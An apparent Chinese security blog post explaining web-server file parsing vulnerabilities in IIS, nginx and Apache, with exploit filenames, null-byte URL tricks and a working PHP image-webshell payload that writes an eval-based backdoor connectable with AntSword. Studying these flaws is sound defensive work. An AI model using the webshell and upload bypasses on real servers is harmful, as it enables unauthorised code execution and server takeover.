文件解析漏洞

文件解析

漏洞简介

​ 解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞一般配合服务器的文件上传功能使用,以获取服务器的权限。

常见解析漏洞

IIS 5.x/6.0解析漏洞

IIS 7.0/IIS 7.5/

Nginx <0.8.3畸形解析漏洞

Nginx <0.8.3 空字节代码执行漏洞

Apache解析漏洞

在这里插入图片描述

IIS5.x-6.x
  1. 服务器默认配置不当(.cer/.asa/.cdx->.asp)
IIS 6.0
  1. 目录解析:CGI解析不当(1.asp/1.jpg)

    在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

    例如创建目录 sp.asp,那么

    /sp.asp/1.jpg

    将被当作asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。

  2. 文件解析(cc.asp;jpg或cc.asp;.jpg)

    在IIS6.0下,分号后面的不被解析,也就是说

    sp.asp;.jpg

    会被服务器看成是sp.asp

IIS7.0/IIS7.5/nginx<0.8.3

举例:nginxCGI解析漏洞:

​ 1.上传图片马aa.jpg

​ 图片马中php文件为:

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["passwd"]);?>'); ?>

​ 执行图片马(浏览器地址栏):ip/xxx/xxx/aa.jpg/.php

​ 原理:nginx在读取文件时将aa.jpg认为是目录

​ 蚁剑连接shell.php

apache解析漏洞

漏洞原理:

​ Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 sec.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.

​ 比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

​ 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

漏洞形式

www.xxxx.xxx.com/test.php.php123

​ 例如:上传文件名aa.php.da.ww.qwr.tqw,po.aq

其余配置问题导致漏洞

​ (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

​ (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

Nginx < 0.8.03空字节代码执行漏洞

​ 影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37

​ Nginx在图片中嵌入PHP代码然后通过访问

​ xxx.jpg%00.php

​ 来执行其中的代码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值